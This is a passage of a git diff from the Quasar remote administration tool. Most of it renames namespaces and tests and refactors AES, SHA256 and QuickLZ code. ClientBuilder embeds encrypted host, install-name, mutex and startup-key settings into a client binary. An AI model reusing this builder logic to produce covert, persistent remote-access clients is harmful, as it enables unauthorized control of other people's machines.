Microsoft C Runtime Library (msvcrt.dll). diff --git a/Quasar.Client/Core/Utilities/Shell.cs b/Quasar.Client/Utilities/Shell.cs similarity index 99% rename from Quasar.Client/Core/Utilities/Shell.cs rename to Quasar.Client/Utilities/Shell.cs index 894a1647..7391cb3e 100644 --- a/Quasar.Client/Core/Utilities/Shell.cs +++ b/Quasar.Client/Utilities/Shell.cs @@ -6,7 +6,7 @@ using System.Threading; using Quasar.Common.Messages; -namespace Quasar.Client.Core.Utilities +namespace Quasar.Client.Utilities { /// /// This class manages a remote shell session. diff --git a/Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs b/Quasar.Common.Tests/Compression/JpgCompression.Tests.cs similarity index 81% rename from Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs rename to Quasar.Common.Tests/Compression/JpgCompression.Tests.cs index 7ef6b9cb..569e5982 100644 --- a/Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs +++ b/Quasar.Common.Tests/Compression/JpgCompression.Tests.cs @@ -1,9 +1,9 @@ -using System; -using System.Drawing; -using Microsoft.VisualStudio.TestTools.UnitTesting; +using Microsoft.VisualStudio.TestTools.UnitTesting; using Quasar.Common.Video.Compression; +using System; +using System.Drawing; -namespace Quasar.Client.Tests.Core.Compression +namespace Quasar.Common.Tests.Compression { [TestClass] public class JpgCompressionTests diff --git a/Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs b/Quasar.Common.Tests/Compression/SafeQuickLZ.Tests.cs similarity index 97% rename from Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs rename to Quasar.Common.Tests/Compression/SafeQuickLZ.Tests.cs index effe9fc5..bccdc6d4 100644 --- a/Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs +++ b/Quasar.Common.Tests/Compression/SafeQuickLZ.Tests.cs @@ -1,8 +1,8 @@ -using System; -using Microsoft.VisualStudio.TestTools.UnitTesting; -using Quasar.Client.Core.Compression; +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.IO.Compression; +using System; -namespace Quasar.Client.Tests.Core.Compression +namespace Quasar.Common.Tests.Compression { [TestClass] public class SafeQuickLZTests diff --git a/Quasar.Common.Tests/Cryptography/Aes128.Tests.cs b/Quasar.Common.Tests/Cryptography/Aes128.Tests.cs new file mode 100644 index 00000000..2115dda5 --- /dev/null +++ b/Quasar.Common.Tests/Cryptography/Aes128.Tests.cs @@ -0,0 +1,49 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; +using System.Text; + +namespace Quasar.Common.Tests.Cryptography +{ + [TestClass] + public class Aes128Tests + { + [TestMethod, TestCategory("Encryption")] + public void EncryptAndDecryptStringTest() + { + var input = StringHelper.GetRandomString(100); + var password = StringHelper.GetRandomString(50); + + Aes128.SetDefaultKey(password); + + var encrypted = Aes128.Encrypt(input); + + Assert.IsNotNull(encrypted); + Assert.AreNotEqual(encrypted, input); + + var decrypted = Aes128.Decrypt(encrypted); + + Assert.AreEqual(input, decrypted); + } + + [TestMethod, TestCategory("Encryption")] + public void EncryptAndDecryptByteArrayTest() + { + var input = StringHelper.GetRandomString(100); + var inputByte = Encoding.UTF8.GetBytes(input); + var password = StringHelper.GetRandomString(50); + + Aes128.SetDefaultKey(password); + + var encryptedByte = Aes128.Encrypt(inputByte); + + Assert.IsNotNull(encryptedByte); + CollectionAssert.AllItemsAreNotNull(encryptedByte); + CollectionAssert.AreNotEqual(encryptedByte, inputByte); + + var decryptedByte = Aes128.Decrypt(encryptedByte); + + CollectionAssert.AreEqual(inputByte, decryptedByte); + } + } +} \ No newline at end of file diff --git a/Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs b/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs similarity index 52% rename from Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs rename to Quasar.Common.Tests/Cryptography/SHA256.Tests.cs index e8f87056..fedf5426 100644 --- a/Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs +++ b/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs @@ -1,17 +1,17 @@ using Microsoft.VisualStudio.TestTools.UnitTesting; -using Quasar.Client.Core.Cryptography; -using Quasar.Client.Core.Helper; +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; -namespace Quasar.Client.Tests.Core.Encryption +namespace Quasar.Common.Tests.Cryptography { [TestClass] - public class SHA256Tests + public class Sha256Tests { [TestMethod, TestCategory("Encryption")] public void ComputeHashTest() { - var input = FileHelper.GetRandomFilename(100); - var result = SHA256.ComputeHash(input); + var input = StringHelper.GetRandomString(100); + var result = Sha256.ComputeHash(input); Assert.IsNotNull(result); Assert.AreNotEqual(result, input); diff --git a/Quasar.Common.Tests/Properties/AssemblyInfo.cs b/Quasar.Common.Tests/Properties/AssemblyInfo.cs new file mode 100644 index 00000000..30eb5fa6 --- /dev/null +++ b/Quasar.Common.Tests/Properties/AssemblyInfo.cs @@ -0,0 +1,20 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +[assembly: AssemblyTitle("Quasar Common Tests")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2018")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +[assembly: ComVisible(false)] + +[assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")] + +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.3.0.0")] +[assembly: AssemblyFileVersion("1.3.0.0")] diff --git a/Quasar.Common.Tests/Quasar.Common.Tests.csproj b/Quasar.Common.Tests/Quasar.Common.Tests.csproj new file mode 100644 index 00000000..2c07b2d6 --- /dev/null +++ b/Quasar.Common.Tests/Quasar.Common.Tests.csproj @@ -0,0 +1,70 @@ + + + + Debug + AnyCPU + {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B} + Library + Properties + Quasar.Common.Tests + Quasar.Common.Tests + v4.0 + 512 + {3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} + 15.0 + $(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion) + $(ProgramFiles)\Common Files\microsoft shared\VSTT\$(VisualStudioVersion)\UITestExtensionPackages + False + UnitTest + + + true + full + false + ..\bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + none + true + ..\bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + False + + + + + + + + + + + + + + {c7c363ba-e5b6-4e18-9224-39bc8da73172} + Quasar.Common + + + + + \ No newline at end of file diff --git a/Quasar.Client/Core/Cryptography/AES.cs b/Quasar.Common/Cryptography/Aes128.cs similarity index 77% rename from Quasar.Client/Core/Cryptography/AES.cs rename to Quasar.Common/Cryptography/Aes128.cs index 7bbb88b5..4f77bd2f 100644 --- a/Quasar.Client/Core/Cryptography/AES.cs +++ b/Quasar.Common/Cryptography/Aes128.cs @@ -1,13 +1,15 @@ using System; using System.IO; +using System.Runtime.CompilerServices; using System.Security.Cryptography; using System.Text; -using Quasar.Client.Core.Helper; -namespace Quasar.Client.Core.Cryptography +namespace Quasar.Common.Cryptography { - public static class AES + public static class Aes128 { + private const int KeyLength = 16; + private const int AuthKeyLength = 64; private const int IvLength = 16; private const int HmacSha256Length = 32; private static byte[] _defaultKey; @@ -19,19 +21,29 @@ public static class AES 0x44, 0xD2, 0x1E, 0x62, 0xB9, 0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41 }; - public static void SetDefaultKey(string key) + public static void SetDefaultKey(string password) { - using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(key, Salt, 50000)) - { - _defaultKey = derive.GetBytes(16); - _defaultAuthKey = derive.GetBytes(64); - } + var keys = DeriveKeys(password); + _defaultKey = keys.Item1; + if (_defaultKey == null || _defaultKey.Length != KeyLength) throw new ArgumentException($"Key must be {KeyLength} bytes."); + _defaultAuthKey = keys.Item2; + if (_defaultAuthKey == null || _defaultAuthKey.Length != AuthKeyLength) throw new ArgumentException($"Auth key must be {AuthKeyLength} bytes."); } public static void SetDefaultKey(string key, string authKey) { _defaultKey = Convert.FromBase64String(key); + if (_defaultKey == null || _defaultKey.Length != KeyLength) throw new ArgumentException($"Key must be {KeyLength} bytes."); _defaultAuthKey = Convert.FromBase64String(authKey); + if (_defaultAuthKey == null || _defaultAuthKey.Length != AuthKeyLength) throw new ArgumentException($"Auth key must be {AuthKeyLength} bytes."); + } + + public static Tuple DeriveKeys(string password) + { + using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(password, Salt, 50000)) + { + return new Tuple(derive.GetBytes(KeyLength), derive.GetBytes(AuthKeyLength)); + } } public static string Encrypt(string input, string key) @@ -52,7 +64,7 @@ public static string Encrypt(string input) */ public static byte[] Encrypt(byte[] input) { - if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty."); + if (_defaultKey == null || _defaultKey.Length == 0) throw new ArgumentException("Key can not be empty."); if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty."); byte[] data = input, encdata = new byte[0]; @@ -102,8 +114,8 @@ public static byte[] Encrypt(byte[] input, byte[] key) byte[] authKey; using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(key, Salt, 50000)) { - key = derive.GetBytes(16); - authKey = derive.GetBytes(64); + key = derive.GetBytes(KeyLength); + authKey = derive.GetBytes(AuthKeyLength); } byte[] data = input, encdata = new byte[0]; @@ -153,7 +165,7 @@ public static string Decrypt(string input) public static byte[] Decrypt(byte[] input) { - if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty."); + if (_defaultKey == null || _defaultKey.Length == 0) throw new ArgumentException("Key can not be empty."); if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty."); byte[] data = new byte[0]; @@ -177,7 +189,7 @@ public static byte[] Decrypt(byte[] input) byte[] receivedHash = new byte[HmacSha256Length]; ms.Read(receivedHash, 0, receivedHash.Length); - if (!CryptographyHelper.AreEqual(hash, receivedHash)) + if (!AreEqual(hash, receivedHash)) return data; } @@ -199,5 +211,27 @@ public static byte[] Decrypt(byte[] input) } return data; } + + /// + /// Compares two byte arrays for equality. + /// + /// Byte array to compare + /// Byte array to compare + /// True if equal, else false + /// + /// Assumes that the byte arrays have the same length. + /// This method is safe against timing attacks. + /// + [MethodImpl(MethodImplOptions.NoOptimization)] + private static bool AreEqual(byte[] a1, byte[] a2) + { + bool result = true; + for (int i = 0; i < a1.Length; ++i) + { + if (a1[i] != a2[i]) + result = false; + } + return result; + } } } diff --git a/Quasar.Client/Core/Cryptography/SHA256.cs b/Quasar.Common/Cryptography/SHA256.cs similarity index 88% rename from Quasar.Client/Core/Cryptography/SHA256.cs rename to Quasar.Common/Cryptography/SHA256.cs index cb3f04e2..9446a45b 100644 --- a/Quasar.Client/Core/Cryptography/SHA256.cs +++ b/Quasar.Common/Cryptography/SHA256.cs @@ -1,9 +1,9 @@ using System.Security.Cryptography; using System.Text; -namespace Quasar.Client.Core.Cryptography +namespace Quasar.Common.Cryptography { - public static class SHA256 + public static class Sha256 { public static string ComputeHash(string input) { @@ -22,4 +22,4 @@ public static string ComputeHash(string input) return hash.ToString().ToUpper(); } } -} \ No newline at end of file +} diff --git a/Quasar.Common/Helpers/StringHelper.cs b/Quasar.Common/Helpers/StringHelper.cs new file mode 100644 index 00000000..0bd079da --- /dev/null +++ b/Quasar.Common/Helpers/StringHelper.cs @@ -0,0 +1,20 @@ +using Quasar.Common.Utilities; +using System.Text; + +namespace Quasar.Common.Helpers +{ + public static class StringHelper + { + private const string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + private static readonly SafeRandom Random = new SafeRandom(); + + public static string GetRandomString(int length) + { + StringBuilder randomName = new StringBuilder(length); + for (int i = 0; i < length; i++) + randomName.Append(Alphabet[Random.Next(Alphabet.Length)]); + + return randomName.ToString(); + } + } +} diff --git a/Quasar.Client/Core/Compression/SafeQuickLZ.cs b/Quasar.Common/IO/Compression/SafeQuickLZ.cs similarity index 99% rename from Quasar.Client/Core/Compression/SafeQuickLZ.cs rename to Quasar.Common/IO/Compression/SafeQuickLZ.cs index 31eb36a3..64967a60 100644 --- a/Quasar.Client/Core/Compression/SafeQuickLZ.cs +++ b/Quasar.Common/IO/Compression/SafeQuickLZ.cs @@ -2,7 +2,7 @@ #pragma warning disable 0675 -namespace Quasar.Client.Core.Compression +namespace Quasar.Common.IO.Compression { // QuickLZ data compression library // Copyright (C) 2006-2011 Lasse Mikkel Reinhold diff --git a/Quasar.Common/Properties/AssemblyInfo.cs b/Quasar.Common/Properties/AssemblyInfo.cs index 4f56867a..6af200cc 100644 --- a/Quasar.Common/Properties/AssemblyInfo.cs +++ b/Quasar.Common/Properties/AssemblyInfo.cs @@ -13,6 +13,7 @@ [assembly: AssemblyCopyright("Copyright © MaxXor 2018")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] +[assembly: InternalsVisibleTo("Quasar.Common.Tests")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj index b560c811..5ac4ee1a 100644 --- a/Quasar.Common/Quasar.Common.csproj +++ b/Quasar.Common/Quasar.Common.csproj @@ -47,6 +47,10 @@ + + + + diff --git a/Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs b/Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs deleted file mode 100644 index eefd9c8a..00000000 --- a/Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs +++ /dev/null @@ -1,118 +0,0 @@ -using System; -using Microsoft.VisualStudio.TestTools.UnitTesting; -using Quasar.Server.Core.Compression; - -namespace Quasar.Server.Tests.Core.Compression -{ - [TestClass] - public class SafeQuickLZTests - { - /* - * Purpose: To validate a small amount of data after compression/decompression - * using SafeQuickLZ with level 1 compression. - */ - [TestMethod, TestCategory("Compression")] - public void SmallDataCompressionTestLevel1() - { - byte[] smallData = new byte[100]; - - // Fill the small data array with random data. - new Random().NextBytes(smallData); - - // Store the compressed data. - byte[] smallDataCompressed = SafeQuickLZ.Compress(smallData, 1); - - // The original should not equal the compressed data. - Assert.AreNotEqual(smallData, smallDataCompressed, "Original data is equal to the compressed data!"); - - // Store the decompressed data. - byte[] smallDataDecompressed = SafeQuickLZ.Decompress(smallDataCompressed); - - // The compressed data should not equal the decompressed data. - Assert.AreNotEqual(smallDataCompressed, smallDataDecompressed, "Compressed data is equal to the decompressed data!"); - // The original data must equal the decompressed data; must be able to make a round-trip. - CollectionAssert.AreEqual(smallData, smallDataDecompressed, "Original data does not match the decompressed data!"); - } - - /* - * Purpose: To validate a small amount of data after compression/decompression - * using SafeQuickLZ with level 3 compression. - */ - [TestMethod, TestCategory("Compression")] - public void SmallDataCompressionTestLevel3() - { - byte[] smallData = new byte[100]; - - // Fill the small data array with random data. - new Random().NextBytes(smallData); - - // Store the compressed data. - byte[] smallDataCompressed = SafeQuickLZ.Compress(smallData, 3); - - // The original should not equal the compressed data. - Assert.AreNotEqual(smallData, smallDataCompressed, "Original data is equal to the compressed data!"); - - // Store the decompressed data. - byte[] smallDataDecompressed = SafeQuickLZ.Decompress(smallDataCompressed); - - // The compressed data should not equal the decompressed data. - Assert.AreNotEqual(smallDataCompressed, smallDataDecompressed, "Compressed data is equal to the decompressed data!"); - // The original data must equal the decompressed data; must be able to make a round-trip. - CollectionAssert.AreEqual(smallData, smallDataDecompressed, "Original data does not match the decompressed data!"); - } - - /* - * Purpose: To validate a large amount of data after compression/decompression - * using SafeQuickLZ with level 1 compression. - */ - [TestMethod, TestCategory("Compression")] - public void BigDataCompressionTestLevel1() - { - byte[] bigData = new byte[100000]; - - // Fill the big data array with random data. - new Random().NextBytes(bigData); - - // Store the compressed data. - byte[] bigDataCompressed = SafeQuickLZ.Compress(bigData, 1); - - // The original should not equal the compressed data. - Assert.AreNotEqual(bigData, bigDataCompressed, "Original data is equal to the compressed data!"); - - // Store the decompressed data. - byte[] bigDataDecompressed = SafeQuickLZ.Decompress(bigDataCompressed); - - // The compressed data should not equal the decompressed data. - Assert.AreNotEqual(bigDataCompressed, bigDataDecompressed, "Compressed data is equal to the decompressed data!"); - // The original data must equal the decompressed data; must be able to make a round-trip. - CollectionAssert.AreEqual(bigData, bigDataDecompressed, "Original data does not match the decompressed data!"); - } - - /* - * Purpose: To validate a large amount of data after compression/decompression - * using SafeQuickLZ with level 3 compression. - */ - [TestMethod, TestCategory("Compression")] - public void BigDataCompressionTestLevel3() - { - byte[] bigData = new byte[100000]; - - // Fill the big data array with random data. - new Random().NextBytes(bigData); - - // Store the compressed data. - byte[] bigDataCompressed = SafeQuickLZ.Compress(bigData, 3); - - // The original should not equal the compressed data. - Assert.AreNotEqual(bigData, bigDataCompressed, "Original data is equal to the compressed data!"); - - // Store the decompressed data. - byte[] bigDataDecompressed = SafeQuickLZ.Decompress(bigDataCompressed); - - // The compressed data should not equal the decompressed data. - Assert.AreNotEqual(bigDataCompressed, bigDataDecompressed, "Compressed data is equal to the decompressed data!"); - // The original data must equal the decompressed data; must be able to make a round-trip. - CollectionAssert.AreEqual(bigData, bigDataDecompressed, "Original data does not match the decompressed data!"); - } - } -} \ No newline at end of file diff --git a/Quasar.Server.Tests/Core/Encryption/AES.Tests.cs b/Quasar.Server.Tests/Core/Encryption/AES.Tests.cs deleted file mode 100644 index 9ce9fade..00000000 --- a/Quasar.Server.Tests/Core/Encryption/AES.Tests.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System.Text; -using Microsoft.VisualStudio.TestTools.UnitTesting; -using Quasar.Server.Core.Cryptography; -using Quasar.Server.Core.Helper; - -namespace Quasar.Server.Tests.Core.Encryption -{ - [TestClass] - public class AESTests - { - [TestMethod, TestCategory("Encryption")] - public void EncryptAndDecryptStringTest() - { - var input = FileHelper.GetRandomFilename(100); - var password = FileHelper.GetRandomFilename(50); - - AES.SetDefaultKey(password); - - var encrypted = AES.Encrypt(input); - - Assert.IsNotNull(encrypted); - Assert.AreNotEqual(encrypted, input); - - var decrypted = AES.Decrypt(encrypted); - - Assert.AreEqual(input, decrypted); - } - - [TestMethod, TestCategory("Encryption")] - public void EncryptAndDecryptByteArrayTest() - { - var input = FileHelper.GetRandomFilename(100); - var inputByte = Encoding.UTF8.GetBytes(input); - var password = FileHelper.GetRandomFilename(50); - - AES.SetDefaultKey(password); - - var encryptedByte = AES.Encrypt(inputByte); - - Assert.IsNotNull(encryptedByte); - CollectionAssert.AllItemsAreNotNull(encryptedByte); - CollectionAssert.AreNotEqual(encryptedByte, inputByte); - - var decryptedByte = AES.Decrypt(encryptedByte); - - CollectionAssert.AreEqual(inputByte, decryptedByte); - } - } -} \ No newline at end of file diff --git a/Quasar.Server.Tests/Quasar.Server.Tests.csproj b/Quasar.Server.Tests/Quasar.Server.Tests.csproj index 620cac31..ecd2d0e2 100644 --- a/Quasar.Server.Tests/Quasar.Server.Tests.csproj +++ b/Quasar.Server.Tests/Quasar.Server.Tests.csproj @@ -7,7 +7,7 @@ Library Properties Quasar.Server.Tests - Server.Tests + Quasar.Server.Tests v4.0 512 {3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} @@ -55,18 +55,12 @@ - - - - {c7c363ba-e5b6-4e18-9224-39bc8da73172} - Quasar.Common - {14ca405b-8bac-48ab-9fba-8fb5df88fd0d} - Server + Quasar.Server diff --git a/Quasar.Server/Core/Build/ClientBuilder.cs b/Quasar.Server/Build/ClientBuilder.cs similarity index 91% rename from Quasar.Server/Core/Build/ClientBuilder.cs rename to Quasar.Server/Build/ClientBuilder.cs index dc634f50..327a14a1 100644 --- a/Quasar.Server/Core/Build/ClientBuilder.cs +++ b/Quasar.Server/Build/ClientBuilder.cs @@ -1,12 +1,12 @@ -using System; -using Mono.Cecil; +using Mono.Cecil; using Mono.Cecil.Cil; -using Quasar.Server.Core.Cryptography; -using Quasar.Server.Core.Data; -using Quasar.Server.Core.Helper; +using Quasar.Server.Data; +using Quasar.Server.Helper; +using System; +using Quasar.Common.Cryptography; using Vestris.ResourceLib; -namespace Quasar.Server.Core.Build +namespace Quasar.Server.Build { /// /// Provides methods used to create a custom client executable. @@ -22,8 +22,10 @@ public static class ClientBuilder public static void Build(BuildOptions options) { // PHASE 1 - Settings - string encKey = FileHelper.GetRandomFilename(20), key, authKey; - CryptographyHelper.DeriveKeys(options.Password, out key, out authKey); + var keys = Aes128.DeriveKeys(options.Password); + var key = Convert.ToBase64String(keys.Item1); + var authKey = Convert.ToBase64String(keys.Item2); + AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin"); foreach (var typeDef in asmDef.Modules[0].Types) @@ -34,6 +36,8 @@ public static void Build(BuildOptions options) { if (methodDef.Name == ".cctor") { + string encKey = FileHelper.GetRandomFilename(20); + int strings = 1, bools = 1; for (int i = 0; i < methodDef.Body.Instructions.Count; i++) @@ -43,10 +47,10 @@ public static void Build(BuildOptions options) switch (strings) { case 1: //version - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey); + methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.Version, encKey); break; case 2: //ip/hostname - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey); + methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.RawHosts, encKey); break; case 3: //key methodDef.Body.Instructions[i].Operand = key; @@ -55,25 +59,25 @@ public static void Build(BuildOptions options) methodDef.Body.Instructions[i].Operand = authKey; break; case 5: //installsub - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey); + methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.InstallSub, encKey); break; case 6: //installname - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey); + methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.InstallName, encKey); break; case 7: //mutex - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Mutex, encKey); + methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.Mutex, encKey); break; case 8: //startupkey - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.StartupName, encKey); + methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.StartupName, encKey); break; case 9: //encryption key methodDef.Body.Instructions[i].Operand = encKey; break; case 10: //tag - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey); + methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.Tag, encKey); break; case 11: //LogDirectoryName - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.LogDirectoryName, encKey); + methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.LogDirectoryName, encKey); break; } strings++; diff --git a/Quasar.Server/Core/Build/IconInjector.cs b/Quasar.Server/Build/IconInjector.cs similarity index 99% rename from Quasar.Server/Core/Build/IconInjector.cs rename to Quasar.Server/Build/IconInjector.cs index ddd678da..9d4f334b 100644 --- a/Quasar.Server/Core/Build/IconInjector.cs +++ b/Quasar.Server/Build/IconInjector.cs @@ -2,7 +2,7 @@ using System.Runtime.InteropServices; using System.Security; -namespace Quasar.Server.Core.Build +namespace Quasar.Server.Build { public static class IconInjector { diff --git a/Quasar.Server/Core/Build/Renamer.cs b/Quasar.Server/Build/Renamer.cs similarity index 99% rename from Quasar.Server/Core/Build/Renamer.cs rename to Quasar.Server/Build/Renamer.cs index 03f21389..96b277c9 100644 --- a/Quasar.Server/Core/Build/Renamer.cs +++ b/Quasar.Server/Build/Renamer.cs @@ -5,7 +5,7 @@ using Mono.Cecil; using Quasar.Common.Utilities; -namespace Quasar.Server.Core.Build +namespace Quasar.Server.Build { public class Renamer { diff --git a/Quasar.Server/Controls/ListViewEx.cs b/Quasar.Server/Controls/ListViewEx.cs index 26bb4b19..e0e3944a 100644 --- a/Quasar.Server/Controls/ListViewEx.cs +++ b/Quasar.Server/Controls/ListViewEx.cs @@ -1,7 +1,7 @@ using System; using System.Windows.Forms; -using Quasar.Server.Core.Helper; -using Quasar.Server.Core.Utilities; +using Quasar.Server.Helper; +using Quasar.Server.Utilities; namespace Quasar.Server.Controls { diff --git a/Quasar.Server/Controls/RapidPictureBox.cs b/Quasar.Server/Controls/RapidPictureBox.cs index 39ad4144..8d058966 100644 --- a/Quasar.Server/Controls/RapidPictureBox.cs +++ b/Quasar.Server/Controls/RapidPictureBox.cs @@ -2,7 +2,7 @@ using System.Diagnostics; using System.Drawing; using System.Windows.Forms; -using Quasar.Server.Core.Utilities; +using Quasar.Server.Utilities; namespace Quasar.Server.Controls { diff --git a/Quasar.Server/Controls/RegistryValueLstItem.cs b/Quasar.Server/Controls/RegistryValueLstItem.cs index b8d896f0..050c133d 100644 --- a/Quasar.Server/Controls/RegistryValueLstItem.cs +++ b/Quasar.Server/Controls/RegistryValueLstItem.cs @@ -1,7 +1,7 @@ using System.Windows.Forms; using Quasar.Common.Models; -using Quasar.Server.Core.Extensions; -using Quasar.Server.Core.Registry; +using Quasar.Server.Extensions; +using Quasar.Server.Registry; namespace Quasar.Server.Controls { diff --git a/Quasar.Server/Core/Compression/SafeQuickLZ.cs b/Quasar.Server/Core/Compression/SafeQuickLZ.cs deleted file mode 100644 index 768da723..00000000 --- a/Quasar.Server/Core/Compression/SafeQuickLZ.cs +++ /dev/null @@ -1,513 +0,0 @@ -using System; - -#pragma warning disable 0675 - -namespace Quasar.Server.Core.Compression -{ - // QuickLZ data compression library - // Copyright (C) 2006-2011 Lasse Mikkel Reinhold - // lar@quicklz.com - // - // QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything - // released into public must be open source) or under a commercial license if such - // has been acquired (see http://www.quicklz.com/order.html). The commercial license - // does not cover derived or ported versions created by third parties under GPL. - // - // Only a subset of the C library has been ported, namely level 1 and 3 not in - // streaming mode. - // - // Version: 1.5.0 final - - public static class SafeQuickLZ - { - public const int QLZ_VERSION_MAJOR = 1; - public const int QLZ_VERSION_MINOR = 5; - public const int QLZ_VERSION_REVISION = 0; - - // Streaming mode not supported - public const int QLZ_STREAMING_BUFFER = 0; - - // Bounds checking not supported Use try...catch instead - public const int QLZ_MEMORY_SAFE = 0; - - // Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values! - private const int HASH_VALUES = 4096; - private const int MINOFFSET = 2; - private const int UNCONDITIONAL_MATCHLEN = 6; - private const int UNCOMPRESSED_END = 4; - private const int CWORD_LEN = 4; - private const int DEFAULT_HEADERLEN = 9; - private const int QLZ_POINTERS_1 = 1; - private const int QLZ_POINTERS_3 = 16; - - private static int HeaderLength(byte[] source) - { - return ((source[0] & 2) == 2) ? 9 : 3; - } - - public static int SizeDecompressed(byte[] source) - { - if (HeaderLength(source) == 9) - return source[5] | (source[6] << 8) | (source[7] << 16) | (source[8] << 24); - else - return source[2]; - } - - public static int SizeCompressed(byte[] source) - { - if (HeaderLength(source) == 9) - return source[1] | (source[2] << 8) | (source[3] << 16) | (source[4] << 24); - else - return source[1]; - } - - private static void WriteHeader(byte[] dst, int level, bool compressible, int sizeCompressed, - int sizeDecompressed) - { - dst[0] = (byte)(2 | (compressible ? 1 : 0)); - dst[0] |= (byte)(level << 2); - dst[0] |= (1 << 6); - dst[0] |= (0 << 4); - FastWrite(dst, 1, sizeDecompressed, 4); - FastWrite(dst, 5, sizeCompressed, 4); - } - - public static byte[] Compress(byte[] source, int level = 3) - { - if (source.Length == 0) - return new byte[0]; - - int[,] hashtable; - - switch (level) - { - case 1: - hashtable = new int[HASH_VALUES, QLZ_POINTERS_1]; - break; - case 3: - hashtable = new int[HASH_VALUES, QLZ_POINTERS_3]; - break; - default: - throw new ArgumentException("C# version only supports level 1 and 3"); - } - - int src = 0; - int dst = DEFAULT_HEADERLEN + CWORD_LEN; - uint cword_val = 0x80000000; - int cword_ptr = DEFAULT_HEADERLEN; - byte[] destination = new byte[source.Length + 400]; - int[] cachetable = new int[HASH_VALUES]; - byte[] hash_counter = new byte[HASH_VALUES]; - byte[] d2; - int fetch = 0; - int last_matchstart = (source.Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1); - int lits = 0; - - if (src <= last_matchstart) - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - - while (src <= last_matchstart) - { - if ((cword_val & 1) == 1) - { - if (src > source.Length >> 1 && dst > src - (src >> 5)) - { - d2 = new byte[source.Length + DEFAULT_HEADERLEN]; - WriteHeader(d2, level, false, source.Length, source.Length + DEFAULT_HEADERLEN); - Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, source.Length); - return d2; - } - - FastWrite(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); - cword_ptr = dst; - dst += CWORD_LEN; - cword_val = 0x80000000; - } - - if (level == 1) - { - int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - int o = hashtable[hash, 0]; - int cache = cachetable[hash] ^ fetch; - cachetable[hash] = fetch; - hashtable[hash, 0] = src; - - if (cache == 0 && hash_counter[hash] != 0 && - (src - o > MINOFFSET || - (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] && - source[src] == source[src - 2] && source[src] == source[src - 1] && - source[src] == source[src + 1] && source[src] == source[src + 2]))) - { - cword_val = ((cword_val >> 1) | 0x80000000); - if (source[o + 3] != source[src + 3]) - { - int f = 3 - 2 | (hash << 4); - destination[dst 